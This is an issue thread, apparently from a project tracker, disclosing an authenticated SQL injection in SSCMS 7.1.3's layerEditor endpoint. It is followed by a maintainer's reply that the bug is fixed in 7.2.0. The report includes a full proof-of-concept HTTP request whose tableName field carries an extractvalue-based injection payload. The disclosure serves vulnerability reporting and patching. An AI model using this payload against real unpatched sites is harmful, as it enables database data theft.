background sql inject

[nolan124]

this is Chaitin Security Research Lab find

[starlying]

cve-2022-0066
cve-2022-0067
cve-2022-0068

[nolan124]

You need to apply to the CVE official

[nolan124]

Environmental information:sscms7.1.3+mysql(background administrator)

Vulnerability details

api/admin/common/tableStyle/layerEditor

step1

\SSCMS.Web\Controllers\Admin\Common\TableStyle\LayerEditorController.Submit.cs#update function

step2

After entering the InsertObjectAsync method of \cms-sscms-v7.1.3\src\Datory\Utils\RepositoryUtils.Insert.cs

The table is directly passed into the sql statement without filtering
Finally, the returned result has not yet been filtered and other operations on the sql statement
resulting in the occurrence of sql vulnerabilities
Vulnerability to reproduce

exploit result
`
POST /api/admin/common/tableStyle/layerEditor HTTP/1.1
Host: 192.168.3.129
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 338
Accept: application/json, text/plain, /
Accept-Language: zh-CN,zh;q=0.9
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1laWQiOiIxIiwibmFtZSI6ImFkbWluIiwicm9sZSI6IkFkbWluaXN0cmF0b3IiLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL2lzcGVyc2lzdGVudCI6IkZhbHNlIiwibmJmIjoxNjY2MTY2NTA0LCJleHAiOjE2NjYyNTI5MDQsImlhdCI6MTY2NjE2NjUwNH0.ZyaN5rNgUQxxkfxp3-GEV_e3RdiKPG4BjVFKBPZkdTU
Content-Type: application/json;charset=UTF-8
Cookie: .AspNetCore.Antiforgery.63-E5AgGJCk=CfDJ8M6RIMVIA85OqO7ajAvAmn0W_d4giFi-UZleDB9SmjuNjqZshLg6aw57gScnZlpH6U67ohL01F-C9bjGigmapHHvA5s3qiVH_pJSxx6-DoVIkm0H9mRiZ7vnlUqgrXXLDHrtcZvMrPva6Cv41qAIV-I
Origin: http://192.168.3.129
Referer: http://192.168.3.129/ss-admin/common/tableStyleLayerEditor/?siteId=1&tableName=siteserver_Site&relatedIdentities=1%2C0&attributeName=weichat
Accept-Encoding: gzip

{"attributeName":"weichat","customizeCode":null,"defaultValue":"1","displayName":"111","height":0,"helpText":"11","horizontal":false,"inputType":"Image","isRapid":true,"items":null,"rapidValues":"","relatedFieldId":null,"relatedIdentities":"1,0","tableName":"siteserver_Site'and/**/extractvalue(1,concat(char(126),user()))and'","taxis":1}

`

[starlying]

Fixed at 7.2.0, Thanks